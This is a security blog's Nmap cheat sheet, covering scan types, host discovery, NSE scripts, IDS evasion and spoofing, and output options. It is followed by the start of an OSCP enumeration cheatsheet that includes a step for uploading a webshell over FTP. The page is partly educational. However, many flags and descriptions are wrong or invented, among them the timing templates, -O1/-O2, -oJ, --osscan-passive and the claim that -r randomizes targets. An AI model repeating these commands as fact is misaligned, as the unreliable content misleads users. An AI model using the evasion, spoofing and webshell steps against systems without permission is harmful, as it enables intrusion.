Category: CheatSheet

  • Nmap Cheat Sheet 2025

    Nmap Cheat Sheet 2025

    Nmap is a powerful and versatile network scanning tool used by network administrators, security professionals, and ethical hackers for a variety of purposes, including network mapping, inventory management, vulnerability assessment, and penetration testing. While Nmap offers a wide range of options and capabilities, its syntax and command structure can be challenging to master. That’s where an Nmap cheat sheet comes in handy. In this article, we’ll provide a comprehensive Nmap cheat sheet with commands and examples to help you navigate and use Nmap effectively.

    Want to take your cybersecurity skills to the next level? ๐Ÿš€ “Nmap Essentials” is your go-to guide for mastering network reconnaissance, penetration testing, and vulnerability scanning. Whether you’re a beginner or an advanced user, this book covers everything from basic commands to advanced scanning techniques!

    ๐Ÿ”น Learn how to scan networks efficiently
    ๐Ÿ”น Discover hidden hosts and services
    ๐Ÿ”น Perform stealthy scans and bypass firewalls
    ๐Ÿ”น Automate your scans for better efficiency

    Get your copy now and level up your hacking skills! ๐Ÿ”ฅ๐Ÿ‘‡
    ๐Ÿ“– Grab it here: store.codelivly.com/b/nmap

    Want to level up your recon skills? ๐Ÿš€ Dive into our Nmap Basics video tutorial and learn how to scan, discover, and analyze networks like a pro! ๐Ÿ•ต๏ธโ€โ™‚๏ธ

    What does Nmap do

    Nmap is a powerful network scanning tool that can be used for a variety of purposes, including:

    Network Discovery: Nmap can be used to discover hosts and devices on a network by sending probes to different IP addresses and examining their responses.

    Port Scanning: Nmap can be used to identify open ports on a target system or network, which can help to identify vulnerable services or potential attack vectors.

    Operating System Identification: Nmap can identify the operating system (OS) running on a target system by examining network traffic and examining specific characteristics of the system.

    Service Enumeration: Nmap can be used to enumerate the services running on a target system, including version information and any known vulnerabilities.

    Vulnerability Assessment: Nmap can be used to identify potential vulnerabilities in a target system or network, including known vulnerabilities in specific services or operating systems.

    Penetration Testing: Nmap is often used as part of a comprehensive penetration testing process to identify weaknesses in a target system or network and determine the potential impact of an attack.

    Discover: A Complete Guide to Nmap โ€“ Nmap Tutorial

    Nmap Commands

    Basic Nmap scanning command examples, often used at the first stage of enumeration.

    Nmap CommandDescription
    nmap -sP <target>Ping scan to check if the target host is up.
    nmap -sS <target>TCP SYN scan to determine open ports on the target system.
    nmap -sU <target>UDP scan to determine open UDP ports on the target system.
    nmap -A <target>Aggressive scan to identify OS version, software version, and open ports.
    nmap -O <target>OS detection to identify the operating system running on the target system.
    nmap -v <target>Verbose output to show detailed scan results.
    nmap -T4 <target>Set timing template to balance speed and accuracy during the scan.
    nmap -p <port> <target>Scan a specific port or range of ports on the target system.
    nmap -oN <output file> <target>Output the scan results to a file in normal format.
    nmap -oX <output file> <target>Output the scan results to a file in XML format.

    Nmap scan from file

    Nmap CommandDescription
    nmap -iL <input file>Scan targets from a file containing a list of IP addresses or hostnames.
    nmap -iR <num hosts>Scan a random selection of <num hosts> hosts from the internet.
    nmap -iX <input file>Scan targets from an XML file containing a list of IP addresses or hostnames.
    nmap -iR <num hosts> –exclude <exclude file>Scan a random selection of <num hosts> hosts from the internet, excluding those specified in the <exclude file>.
    nmap -iL <input file> -PnScan targets from a file without pinging them first.
    nmap -iL <input file> -oA <output file>Output the scan results to multiple formats (normal, XML, and grepable) for targets in the <input file>.

    These commands can be useful for scanning a large number of targets or for scanning targets listed in an external file or source. It’s important to use Nmap carefully and only on systems that you have permission to scan, as it can potentially cause unintended consequences or trigger security alerts.

    Nmap Nikto Scan

    COMMANDDESCRIPTION
    nmap -p80 10.0.1.0/24 -oG - | nikto.pl -h -Scans for http servers on port 80 and pipes into Nikto for scanning.
    nmap -p80,443 10.0.1.0/24 -oG - | nikto.pl -h -Scans for http/https servers on port 80, 443 and pipes into Nikto for scanning.

    Nmap Cheatsheet

    Target Specification

    Target specification is a critical component of any Nmap scan, as it determines which hosts or networks to scan.

    SwitchExampleDescription
    IP addressnmap 192.168.0.1Scan a single IP address
    Hostnamenmap example.comScan a single hostname
    IP rangenmap 192.168.0.1-20Scan a range of IP addresses
    CIDR notationnmap 192.168.0.0/24Scan a range of IP addresses using CIDR notation
    Target list filenmap -iL targets.txtRead targets from a list file
    Exclusionnmap 192.168.0.0/24 --exclude 192.168.0.1Exclude a specific IP address from the scan
    Random targetsnmap -iR 10Scan 10 random IP addresses

    Nmap Scan Techniques

    Nmap scan techniques refer to the methods that Nmap uses to scan for open ports and identify the services running on a host.

    Scan TechniqueSwitchExampleDescription
    TCP SYN scan-sSnmap -sS 192.168.0.1Also known as “half-open scanning,” this technique sends a SYN packet to the target and waits for a response. If a SYN/ACK packet is received, the port is considered open. If a RST packet is received, the port is considered closed.
    TCP connect scan-sTnmap -sT 192.168.0.1This technique completes the full TCP three-way handshake, establishing a connection with the target. If the connection is successful, the port is considered open. If the connection is unsuccessful, the port is considered closed.
    UDP scan-sUnmap -sU 192.168.0.1This technique sends UDP packets to the target and waits for a response. If a response is received, the port is considered open. If no response is received, the port is considered closed or filtered.
    TCP ACK scan-sAnmap -sA 192.168.0.1This technique sends an ACK packet to the target and waits for a response. If a RST packet is received, the port is considered unfiltered. If no response is received, the port is considered filtered.
    TCP NULL scan-sNnmap -sN 192.168.0.1This technique sends a packet with no flags set to the target and waits for a response. If a RST packet is received, the port is considered unfiltered. If no response is received, the port is considered filtered.
    TCP FIN scan-sFnmap -sF 192.168.0.1This technique sends a packet with the FIN flag set to the target and waits for a response. If a RST packet is received, the port is considered closed. If no response is received, the port is considered open or filtered.
    TCP XMAS scan-sXnmap -sX 192.168.0.1This technique sends a packet with the FIN, URG, and PUSH flags set to the target and waits for a response. If a RST packet is received, the port is considered closed. If no response is received, the port is considered open or filtered.
    ICMP echo scan-PEnmap -PE 192.168.0.1This technique sends ICMP echo requests to the target and waits for a response. If a response is received, the target is considered online.
    ARP scan-PRnmap -PR 192.168.0.0/24This technique sends ARP requests to the targets and waits for a response. If a response is received, the target is considered online.

    Host Discovery

    Host discovery is the process of identifying active hosts on a network. It is the first step in any Nmap scan and is critical for determining which hosts to target. Nmap uses several techniques for host discovery.

    SwitchExampleDescription
    Ping scan-snnmap -sn 192.168.0.0/24
    TCP SYN ping-PSnmap -PS 192.168.0.1
    TCP ACK ping-PAnmap -PA 192.168.0.1
    ICMP echo ping-PEnmap -PE 192.168.0.1
    ICMP timestamp ping-PPnmap -PP 192.168.0.1
    ICMP address mask ping-PMnmap -PM 192.168.0.1
    UDP ping-PUnmap -PU 192.168.0.1
    ARP ping-PRnmap -PR 192.168.0.0/24
    IP protocol ping-POnmap -PO 192.168.0.1
    SCTP INIT ping-PInmap -PI 192.168.0.1

    Script Scan

    Script Scan is a feature in Nmap that allows users to execute scripts to gather additional information about the target host or network. This feature is particularly useful for identifying vulnerabilities or misconfigurations on a target system.

    Nmap Script Scan CommandDescription
    nmap -sV –script=smb-vuln-* <target>Scan for SMB vulnerabilities on the target system.
    nmap -sU –script=dns-recursion <target>Scan for DNS recursion on the target system.
    nmap -sV –script=http-enum <target>Scan for HTTP enumeration on the target system.
    nmap -sV –script=ftp-proftpd-backdoor <target>Scan for the ProFTPd backdoor vulnerability.
    nmap -sV –script=ssl-heartbleed <target>Scan for the OpenSSL Heartbleed vulnerability.
    nmap -sV –script=snmp-netstat <target>Scan for SNMP Netstat information on the target system.

    These are just a few examples of the many script scan options available in Nmap, which can be used to identify vulnerabilities, enumerate services, and gather information about a target system or network. It’s important to use script scans carefully and only on systems that you have permission to scan, as some scripts may cause unintended consequences or trigger security alerts.

    In addition to the built-in scripts, users can also create their own scripts or download third-party scripts from the Nmap Scripting Engine (NSE) community. However, it’s important to note that some scripts may be considered intrusive or may trigger security alerts, so it’s essential to use them with caution and only on systems that you have permission to scan.

    Port Specification

    Port specification in Nmap refers to the process of specifying the ports that Nmap should scan on a target host or network. Nmap supports several methods for specifying ports, including:

    1. Single port: Users can specify a single port number to scan, such as nmap -p 80 targethost.com.
    2. Port range: Users can specify a range of ports to scan, such as nmap -p 1-100 targethost.com.
    3. Multiple ports: Users can specify multiple individual ports to scan, separated by commas, such as nmap -p 22,80,443 targethost.com.
    4. Port lists: Users can specify a list of ports to scan, separated by a hyphen, such as nmap -p 1,3,5,7-10 targethost.com.
    5. All ports: Users can specify to scan all 65,535 TCP ports using -p-, or all 1,024 UDP ports using -sU -p U:.
    SwitchExampleDescription
    Top ports-Topnmap -Top 100 192.168.0.1
    Service name-pnmap -p http 192.168.0.1
    Service and version detection-sVnmap -sV 192.168.0.1
    Exclude ports--exclude-portsnmap --exclude-ports 22,80 192.168.0.1
    Random ports-rnmap -r 192.168.0.1
    Scan all TCP ports-sTnmap -sT 192.168.0.1
    Scan all UDP ports-sUnmap -sU 192.168.0.1
    Scan all TCP and UDP ports-sSnmap -sS 192.168.0.1
    Scan specified protocols-sOnmap -sO 192.168.0.1
    Scan for firewalls-sFnmap -sF 192.168.0.1

    It’s important to note that scanning all ports or a large number of ports can be time-consuming and may generate a significant amount of network traffic. In addition, some ports may be blocked by firewalls or other security measures, which could cause false positives or negatives in the scan results.

    Therefore, it’s recommended to use targeted port scans based on the specific needs of the scan, such as scanning only the ports associated with a particular service or application, or scanning a limited range of ports based on known vulnerabilities or attack vectors.

    Service and Version Detection

    Service and version detection is a feature in Nmap that allows users to determine the types of services running on the target host or network, as well as the software versions of those services. This information can be valuable for identifying potential vulnerabilities or misconfigurations that could be exploited in a cyberattack.

    SwitchExampleDescription
    -sVnmap -sV targetEnables service and version detection during the scan.
    –version-intensitynmap –version-intensity 3 targetIncreases the intensity of version detection. Valid options are 0-9, with 9 being the most intense.
    –version-lightnmap –version-light targetDecreases the intensity of version detection.
    –version-allnmap –version-all targetAttempts to detect the version of all services, rather than just the most common ones.
    –version-tracenmap –version-trace targetShows detailed debugging information about the version detection process.
    –version-dbnmap –version-db /path/to/file targetSpecifies a custom file to use as the service and version detection database. By default, Nmap uses its own built-in database.

    OS Detection

    OS detection is a feature in Nmap that allows users to determine the operating system running on the target host or network. This information can be valuable for identifying potential vulnerabilities or misconfigurations that could be exploited in a cyberattack.

    SwitchExampleDescription
    -Onmap -O targetEnables OS detection during the scan.
    -O1nmap -O1 targetEnables OS detection using a more aggressive approach.
    -O2nmap -O2 targetEnables OS detection using an even more aggressive approach.
    –osscan-guessnmap –osscan-guess targetAttempts to guess the OS even when there is not enough information for a definitive match.
    –osscan-limitnmap –osscan-limit targetLimits the number of OS detection probes sent.
    –osscan-passivenmap –osscan-passive targetEnables passive OS detection, which attempts to detect the OS without sending any packets to the target.

    Timing and Performance

    Timing and performance are critical factors when using Nmap for network scanning. Nmap provides several options for users to control the timing and performance of their scans, allowing them to balance the need for speed with the risk of detection and accuracy.

    SwitchExampleDescription
    -T0nmap -T0 targetSets the timing template to paranoid. This is the slowest and most stealthy option, which can be useful for avoiding detection by network intrusion detection systems (NIDS).
    -T1nmap -T1 targetSets the timing template to sneaky. This is a slower and more cautious option, which can also be useful for avoiding detection.
    -T2 (default)nmap -T2 targetSets the timing template to polite. This is the default option and balances speed and stealth. It’s usually a good choice for general-purpose scanning.
    -T3nmap -T3 targetSets the timing template to aggressive. This option increases the speed of the scan and can help to find open ports and services more quickly.
    -T4nmap -T4 targetSets the timing template to insane. This is the fastest and most aggressive option, which can help to find open ports and services quickly. However, it’s also the most likely to be detected by NIDS or cause performance issues on the target network. It’s not recommended for general-purpose scanning.
    –max-parallelismnmap –max-parallelism 100 targetSets the maximum number of parallel probes to send. This can help to speed up the scan, but can also cause performance issues on the target network.
    –min-parallelismnmap –min-parallelism 10 targetSets the minimum number of parallel probes to send. This can help to avoid overloading the target network, but can also slow down the scan.
    –min-hostgroupnmap –min-hostgroup 32 targetSets the minimum number of hosts to scan at the same time. This can help to balance speed and performance on the target network.
    –max-hostgroupnmap –max-hostgroup 256 targetSets the maximum number of hosts to scan at the same time. This can help to speed up the scan, but can also cause performance issues on the target network.

    Timing and Performance Switches

    SwitchExampleDescription
    -T0nmap -T0 targetSets the timing template to paranoid. This is the slowest and most stealthy option, which can be useful for avoiding detection by network intrusion detection systems (NIDS).
    -T1nmap -T1 targetSets the timing template to sneaky. This is a slower and more cautious option, which can also be useful for avoiding detection.
    -T2 (default)nmap -T2 targetSets the timing template to polite. This is the default option and balances speed and stealth. It’s usually a good choice for general-purpose scanning.
    -T3nmap -T3 targetSets the timing template to aggressive. This option increases the speed of the scan and can help to find open ports and services more quickly.
    -T4nmap -T4 targetSets the timing template to insane. This is the fastest and most aggressive option, which can help to find open ports and services quickly. However, it’s also the most likely to be detected by NIDS or cause performance issues on the target network. It’s not recommended for general-purpose scanning.
    –max-parallelismnmap –max-parallelism 100 targetSets the maximum number of parallel probes to send. This can help to speed up the scan, but can also cause performance issues on the target network.
    –min-parallelismnmap –min-parallelism 10 targetSets the minimum number of parallel probes to send. This can help to avoid overloading the target network, but can also slow down the scan.
    –min-hostgroupnmap –min-hostgroup 32 targetSets the minimum number of hosts to scan at the same time. This can help to balance speed and performance on the target network.
    –max-hostgroupnmap –max-hostgroup 256 targetSets the maximum number of hosts to scan at the same time. This can help to speed up the scan, but can also cause performance issues on the target network.

    Note: When using Nmap for scanning, it’s important to use appropriate timing and performance settings that balance speed and stealth while minimizing the impact on the target network. Always use these settings ethically and with permission from the target network owner.

    NSE Scripts

    SwitchExampleDescription
    -sCnmap -sC targetRuns a default set of NSE scripts.
    -sVnmap -sV targetEnables version detection and runs version-related NSE scripts.
    -sUnmap -sU targetEnables UDP scanning and runs UDP-related NSE scripts.
    –scriptnmap –script=http-enum targetRuns a specific NSE script by name.
    –script-argsnmap –script-args=passdb.lst targetSpecifies arguments to be passed to the NSE script.
    –script-updatedbnmap –script-updatedbUpdates the NSE script database.
    –script-helpnmap –script-help=ftp-anon.nseDisplays help information for a specific NSE script.
    –script-tracenmap –script-trace targetEnables script tracing to show detailed information about the scripts being run.
    –script-trace-allnmap –script-trace-all targetEnables tracing for all NSE scripts, including ones that are run implicitly.
    –script-trace-outputnmap –script-trace-output=trace.log targetSpecifies a file to output the script tracing information to.
    –script-args-filenmap –script-args-file=passdb.lst targetSpecifies a file containing arguments to be passed to the NSE script.
    –script-args-file-appendnmap –script-args-file-append=passdb.lst targetSpecifies a file containing arguments to be passed to the NSE script, which are appended to any arguments already specified using –script-args.
    –script-args-file-removenmap –script-args-file-remove=passdb.lst targetRemoves arguments from the list of arguments to be passed to the NSE script.
    –script-args-file-listnmap –script-args-file-list targetLists the files containing arguments to be passed to NSE scripts.
    –script-trace-summarynmap –script-trace-summary targetDisplays a summary of script tracing information.

    Useful NSE Script Examples

    Script NameSwitchExampleDescription
    smb-vuln-ms17-010–script smb-vuln-ms17-010nmap -p445 --script smb-vuln-ms17-010 <target>Checks for the MS17-010 vulnerability on Windows systems, which was exploited by the WannaCry ransomware.
    http-vuln-cve2015-1635–script http-vuln-cve2015-1635nmap --script http-vuln-cve2015-1635 <target>Checks for the HTTP.sys vulnerability on Windows systems.
    ssl-heartbleed–script ssl-heartbleednmap --script ssl-heartbleed <target>Tests for the Heartbleed vulnerability in SSL/TLS servers.
    smb-os-discovery–script smb-os-discoverynmap --script smb-os-discovery <target>Identifies the operating system of Windows hosts and provides additional information such as workgroup/domain name, system architecture, and SMB version.
    dns-brute–script dns-brutenmap --script dns-brute <target>Performs a brute-force DNS enumeration of subdomains.
    ftp-anon–script ftp-anonnmap --script ftp-anon <target>Checks for anonymous FTP login on FTP servers.
    ssh2-enum-algos–script ssh2-enum-algosnmap --script ssh2-enum-algos <target>Enumerates the supported algorithms on SSH servers.
    snmp-brute–script snmp-brutenmap --script snmp-brute <target>Performs a brute-force enumeration of SNMP community strings.
    mysql-empty-password–script mysql-empty-passwordnmap --script mysql-empty-password <target>Checks for MySQL servers with empty root passwords.
    http-title–script http-titlenmap --script http-title <target>Retrieves the titles of web pages served by HTTP servers.

    Note that these are just a few examples, and there are many more NSE scripts available for various tasks such as service detection, vulnerability scanning, and information gathering. You can use the --script-help switch to view the available scripts and their descriptions. Additionally, you can create your own custom scripts using the Lua programming language.

    Firewall / IDS Evasion and Spoofing

    Firewalls and intrusion detection/prevention systems (IDS/IPS) are designed to detect and prevent unauthorized access to a network or system. To bypass these security measures, attackers may use various techniques to evade or spoof their traffic, such as:

    TechniqueDescription
    FragmentationBreaking up a packet into smaller fragments that can pass through a firewall or IDS/IPS undetected.
    Source IP address spoofingFalsifying the source IP address of a packet to make it appear as if it originated from a trusted source.
    TCP sequence number predictionPredicting the next sequence number of a TCP connection to hijack it or inject malicious data.
    Protocol tunnelingEncapsulating traffic within another protocol that is allowed through a firewall or IDS/IPS.
    Covert channelsUsing covert channels to send hidden messages or data within legitimate traffic to avoid detection.

    Nmap has some built-in options and scripts that can be used for firewall/IDS evasion and spoofing. However, it’s important to note that using these techniques without permission is illegal and unethical.

    Here are some general examples of how these techniques might be implemented:

    TechniqueExample
    Fragmentationnmap -f <target>
    Source IP address spoofingnmap -S <spoofed_IP> <target>
    TCP sequence number predictionnmap --script tcp-seq-enum <target>
    Protocol tunnelingnmap --data <data> --data-string <protocol> <target>
    Covert channelsnmap --script http-covert-tunnel <target>

    Again, please note that these techniques should only be used for legitimate security testing purposes with proper authorization and permission.

    Output

    OptionSwitchExampleDescription
    Verbose output-vnmap -v <target>Enables verbose output, which provides more detailed information about the scan.
    Output to a file-oNnmap -oN scan_results.txt <target>Saves the scan results to a file in normal format.
    Output to a grepable file-oGnmap -oG scan_results.gnmap <target>Saves the scan results to a file in grepable format, which can be used with tools like grep or awk.
    Output to XML-oXnmap -oX scan_results.xml <target>Saves the scan results to an XML file, which can be used for further analysis or processing.
    Output to HTML-oAnmap -oA scan_results <target>Saves the scan results in three formats: normal, grepable, and XML, with a common filename prefix.
    Output to JSON-oJnmap -oJ scan_results.json <target>Saves the scan results to a JSON file, which can be used for further analysis or processing.
    Output to Zenmap–stylesheetnmap --stylesheet=zenmap.xml <target>Saves the scan results in a format that can be viewed in Zenmap, a graphical user interface for Nmap.
    Output to a database-oXnmap -oX scan_results.xml --dbfile nmap_db.xml <target>Saves the scan results to an XML file and updates a database file with the same information.

    Note that there are many other output options available in Nmap, including options for customizing the output format and specifying output levels. You can view the complete list of options by using the --help switch.

    Miscellaneous Nmap Flags

    FlagSwitchExampleDescription
    Skip host discovery-Pnnmap -Pn <target>Skips the host discovery phase of the scan, assuming that the target host(s) are up.
    Disable DNS resolution-nnmap -n <target>Disables DNS resolution during the scan, which can speed up the scan for targets with slow or unresponsive DNS servers.
    Treat all hosts as online-P0nmap -P0 <target>Treats all hosts as online, regardless of whether they respond to ping requests or other probes.
    Disable port scanning-snnmap -sn <target>Performs a host discovery scan only, without port scanning.
    Timing template-Tnmap -T4 <target>Specifies a timing template for the scan, which controls the speed and aggressiveness of the scan.
    Randomize target order-rnmap -r <target>Randomizes the order in which targets are scanned, which can help evade some IDS/IPS systems.
    Limit rate of sending probes–max-ratenmap --max-rate 100 <target>Limits the rate at which Nmap sends probes, which can help avoid network congestion or triggering IDS/IPS alarms.
    Trace packets–packet-tracenmap --packet-trace <target>Enables packet tracing during the scan, which shows the raw packets sent and received during the scan.
    Stop the scan earlyCtrl+Cnmap <target> [Ctrl+C]Stops the scan early by sending an interrupt signal to Nmap, which can be useful if the scan is taking too long or if the user needs to exit the scan.

    Note that there are many other Nmap flags and options available, and the examples listed here are just a few of the most commonly used ones.

    Nmap for Network Discovery and Mapping

    Nmap is a powerful tool for network discovery and mapping. By scanning a network with Nmap, you can identify hosts and devices, find open ports and services, and gather information about the operating systems and applications running on those devices. Here are some tips for using Nmap for network discovery and mapping:

    Determine the scope of the scan: Before running a scan with Nmap, you should determine the IP address range or subnet that you want to scan. You can use tools like ipconfig or ifconfig to find your own IP address and subnet mask, or use a network scanner like Angry IP Scanner to discover hosts on your network.

    Choose the appropriate scan type: Nmap offers several scan types, each with its own advantages and disadvantages. For example, a TCP SYN scan (-sS) is stealthy and fast, but may not work against all hosts and firewalls. A TCP connect scan (-sT) is slower and more visible, but may provide more accurate results. A UDP scan (-sU) can identify open UDP ports and services, but can be slower and less reliable than TCP scans.

    Customize the scan options: Nmap has many options and flags that can be used to customize the scan to your needs. For example, you can specify the timing template (-T) to control the speed of the scan, use OS detection (-O) to identify the operating systems running on the target hosts, or use version detection (-sV) to determine the versions of applications running on open ports.

    Analyze the scan results: After running a scan with Nmap, you can analyze the results to identify hosts, open ports, and services. You can use tools like Zenmap or Nmap Parser to parse and visualize the Nmap output, or import the results into a vulnerability scanner or network mapping tool for further analysis.

    Nmap for Vulnerability Assessment and Penetration Testing

    Nmap is a powerful tool for vulnerability assessment and penetration testing. By using Nmap to scan a network, you can identify potential vulnerabilities and misconfigurations in hosts and devices, and determine the level of security of the network. Here are some tips for using Nmap for vulnerability assessment and penetration testing:

    Choose the appropriate scan type: Nmap offers several scan types, each with its own advantages and disadvantages. For vulnerability assessment and penetration testing, you may want to use a more aggressive scan type, such as a TCP SYN scan (-sS) or a TCP connect scan (-sT), to identify open ports and services. You can also use a version detection scan (-sV) to determine the versions of applications running on open ports, and an operating system detection scan (-O) to identify the operating systems running on the target hosts.

    Use Nmap scripting engine (NSE): Nmap’s scripting engine (NSE) allows you to write and execute custom scripts to automate tasks and gather more information about the target hosts. You can use existing NSE scripts or write your own to check for specific vulnerabilities, such as open FTP servers, weak passwords, or unpatched software.

    Import the results into a vulnerability scanner: After running a scan with Nmap, you can import the results into a vulnerability scanner, such as OpenVAS or Nessus, to perform more comprehensive vulnerability assessment and exploitation. These tools can identify known vulnerabilities and suggest remediation steps.

    Conduct manual testing: While automated tools can be useful for identifying vulnerabilities, manual testing is also important for identifying complex or unknown vulnerabilities. Use the information gathered from the Nmap scan to conduct manual testing, such as exploiting open ports or services, testing authentication mechanisms, and analyzing network traffic.

    Practice ethical hacking: When using Nmap for vulnerability assessment and penetration testing, it is important to always obtain permission from the network owner and practice ethical hacking. Do not use Nmap to exploit or harm the network, and always follow the rules and regulations of your organization and industry.

    Nmap Security Best Practices

    When using Nmap for network scanning and vulnerability assessment, it’s important to follow best practices to ensure the security and privacy of the network and its users. Here are some Nmap security best practices to keep in mind:

    Obtain permission: Always obtain permission from the network owner before running an Nmap scan. Unauthorized scanning is illegal and can cause harm to the network and its users.

    Use the right scan type: Choose the appropriate scan type for the target network and hosts. Use more stealthy and slower scan types, such as TCP SYN scan (-sS), to avoid detection and reduce the impact on the network.

    Limit the scope of the scan: Use filters and options to limit the scope of the scan to only the necessary targets and ports. This can help reduce the risk of false positives and minimize the impact on the network.

    Protect sensitive data: Nmap can collect sensitive data, such as usernames and passwords, from target hosts. Use options like –script-args to filter out sensitive data and avoid storing scan results in clear text files.

    Follow compliance and privacy regulations: Follow the rules and regulations of your organization and industry when conducting Nmap scans. Respect the privacy and confidentiality of network users, and do not collect or store sensitive information without proper authorization.

    By following these Nmap security best practices, you can ensure the safety, privacy, and compliance of your Nmap scans and protect the network and its users from harm.

    Nmap Alternatives and Competitors

    While Nmap is a powerful and popular network scanning tool, there are several alternatives and competitors available that can offer similar or different features and capabilities. Here are some notable Nmap alternatives and competitors:

    Zmap: Zmap is an open-source network scanner that can scan the entire IPv4 address space in under five minutes. It is designed for fast and large-scale scans and can identify hosts and open ports quickly.

    Masscan: Masscan is a high-speed network scanner that can scan large networks quickly and efficiently. It can perform SYN scans, ACK scans, and UDP scans, and can detect open and closed ports and services.

    Angry IP Scanner: Angry IP Scanner is a free and cross-platform network scanner that can scan IP addresses and ports to detect open services, running hosts, and potential vulnerabilities. It also includes a built-in traceroute feature to map the network topology.

    OpenVAS: OpenVAS is a vulnerability assessment tool that can detect and report security vulnerabilities in hosts and applications. It uses NVTs (Network Vulnerability Tests) to identify vulnerabilities, and can generate detailed reports and remediation steps.

    Nessus: Nessus is a widely used vulnerability assessment tool that can detect and report security vulnerabilities in hosts and applications. It offers a wide range of plugins and can perform thorough scans for vulnerabilities and misconfigurations.

    Metasploit: Metasploit is a penetration testing framework that includes a wide range of tools and modules for identifying and exploiting vulnerabilities in hosts and applications. It offers a GUI interface and can generate detailed reports and recommendations.

    These are just a few examples of Nmap alternatives and competitors. Each tool has its own strengths and weaknesses, and the choice depends on the specific use case and requirements.

    Nmap Resources and Learning Materials

    If you’re looking to learn more about Nmap, there are plenty of resources and learning materials available online. Here are some useful ones to get started:

    Nmap.org: The official website for Nmap has extensive documentation, tutorials, and references for using Nmap for network scanning, security auditing, and other purposes.

    Nmap Network Scanning: The Nmap Network Scanning book by Gordon Fyodor Lyon (the creator of Nmap) is a comprehensive guide to using Nmap for network exploration and security auditing. The book covers basic to advanced topics, and includes practical examples and case studies.

    Nmap Video Tutorials: There are several video tutorials available on YouTube and other platforms that demonstrate how to use Nmap for network scanning and security auditing. Some notable channels and sources include Hak5, Null Byte, and Penetration Testing with Kali Linux.

    Nmap Scripting Engine (NSE) Documentation: The Nmap Scripting Engine (NSE) is a powerful feature of Nmap that allows users to write custom scripts for automating network scanning and security auditing tasks. The NSE documentation on the official Nmap website provides detailed guidance on writing and using NSE scripts.

    Online Courses: There are several online courses available that teach Nmap and related network scanning and security auditing skills. Some popular platforms and courses include Udemy’s “Nmap: Network Scanning Basics & Advanced Techniques,” Coursera’s “Applied Cybersecurity: Scanning for Vulnerabilities and Monitoring Threats,” and Cybrary’s “Penetration Testing and Ethical Hacking.”

    These are just a few examples of the many Nmap resources and learning materials available online. With practice and exploration, you can become proficient in using Nmap for network scanning, security auditing, and other purposes.

    FAQ

    • What is Nmap?

    Nmap (Network Mapper) is a free and open-source tool for network exploration and security auditing. It can be used to scan networks, identify hosts and services, and discover potential vulnerabilities.

    • How does Nmap work?

    Nmap uses various techniques to scan and identify hosts and services on a network. Some of the common techniques include TCP SYN scans, UDP scans, and TCP connect scans. Nmap also has various options for detecting the operating system and version information of a target system.

    • What can Nmap be used for?

    Nmap can be used for a variety of purposes, such as network inventory, network mapping, vulnerability assessment, and penetration testing.

    • Is Nmap legal to use?

    Yes, Nmap is legal to use as long as it is used for ethical and legitimate purposes, such as network administration or security testing with the owner’s permission. However, using Nmap for malicious purposes, such as network reconnaissance without authorization, is illegal and can result in legal consequences.

    • Is Nmap easy to use?

    Nmap has a wide range of features and options, so it can be difficult for beginners to use. However, there are many resources available, such as documentation, tutorials, and online forums, to help users learn how to use Nmap effectively.

    • What are some alternatives to Nmap?

    Some alternatives to Nmap include Zmap, Masscan, and Angry IP Scanner. However, Nmap is one of the most widely used and respected network scanning tools available.

    • What platforms is Nmap available on?

    Nmap is available for Windows, Linux, macOS, and other Unix-based systems. It can also be used on mobile devices running Android or iOS.

    • Can Nmap be used to hack into a network?

    No, Nmap is not a hacking tool and should not be used to hack into networks without permission. However, it can be used to identify potential vulnerabilities in a network, which can be helpful for improving security.

    • Where can I practice Nmap?

    The best place to practice Nmap is on your own computer. The tool is free to install and there are many tutorials available on the Web. 

    Conclusion

    In this document, weโ€™ve covered the basics of Network Mapper (NMAP), its features and some of the important cheat sheets. NMAP is the supreme source of port scan information, the foundation for most security enumeration during the initial phases of a penetration test. It has a number of settings and when you first start out using it it may be difficult to figure out. You can follow the guide for running Nmap on a Mac OS X or Linux machine. The beauty of the Nmap tool is that itโ€™s designed to work with text output. This means that you do not have to be an expert in Linux or Bash Scripting in order to use this amazing tool. The code examples are very easy to follow and you will be up and running with Nmap in no time. 

    Now, itโ€™s time for you to head out and try what weโ€™ve covered here and more. More than memorizing syntax, do pay attention to practising them and solving problems.

    Want to level up your recon skills? ๐Ÿš€ Dive into our Nmap Basics video tutorial and learn how to scan, discover, and analyze networks like a pro! ๐Ÿ•ต๏ธโ€โ™‚๏ธ

  • OSCP Cheatsheet

    OSCP Cheatsheet

    Preparing for the OSCP (Offensive Security Certified Professional) exam can feel like a daunting task, but having a handy cheatsheet can make a world of difference. Whether you’re just starting out or brushing up on your skills, this cheatsheet is designed to give you quick access to essential commands, tools, and techniques you’ll need to tackle the OSCP exam.

    Let’s dive in and make your OSCP journey a little smoother and a lot more manageable!

    General Enumeration – Nmap

    Replace $ip with target IP

    Initial scan

     nmap -Pn -n -vvv -oN nmap/initial $ip
    

    If no ports are found, scan in parts

     nmap -Pn -n -vvv -p1-500 -oN nmap/partial $ip
    

    Scan all ports

     nmap -Pn -n -vvv -p- -oN nmap/allports $ip
    

    Targeted scanning

     nmap -Pn -n -vvv -p22,80 -oN nmap/targeted $ip
    

    UDP Scanning

    sudo nmap -Pn -n -vvv -sU -oN nmap/udp $ip
    

    Automated nmap scanning (my preference is nmapAutomator, never missed a port)

    # It is recommended to scan ONE IP at a time
    # Do NOT overload the network
    # All scans, consecutively: Quick, Targeted, UDP, All ports, Vuln scan, CVE scan, Gobuster, Nikto
     nmapAutomator ip All
    
     telnet ip port
     nc -nv ip port
     curl -iv $ip
    

    Port 21 – FTP

    Nmap script scanning – will reveal anonymous access

     nmap -Pn -n -vvv -p21 -sC -sV $ip
    

    Checking anonymous access manually

     ftp ip
    ftp> USER anonymous
    ftp> PASS anonymous
    

    Easy view of FTP content – Browse to:

    ftp://$ip
    

    Uploading a binary or webshell

    ftp> binary
    ftp> put file/name
    

    Port 22 – SSH

    Additional banner grabbing

     ssh root@$ip
    

    Port 53 – DNS

    # Get nameservers and domain name of the IP address
    nslookup
    nslookup> server $target_ip
    nslookup> $target
    # o/p: ns1.example.com
    
    # Get all sub-domains
    host -l -a example.com $target_ip # or ns1.example.com
    

    Port 79 – Finger

    Run this script with following wordlist

    /usr/share/metasploit-framework/data/wordlists/unix_users.txt
    

    Port 80/443 – HTTP(S)

    Get web server, version, potential OS

    curl -i http://ip
    

    Use Wappalyzer to identify technologies, web server, OS, database server deployed

    View-Source of pages to find interesting comments, directories, technologies, web application being used, etc.

    Finding hidden content Scanning each sub-domain and interesting directory is a good idea

    # Use small common wordlist first
    # Use big wordlist next
    # Use CMS specific wordlist if one is found
    gobuster dir -u http://$ip -w /wordlist -o gobust.out
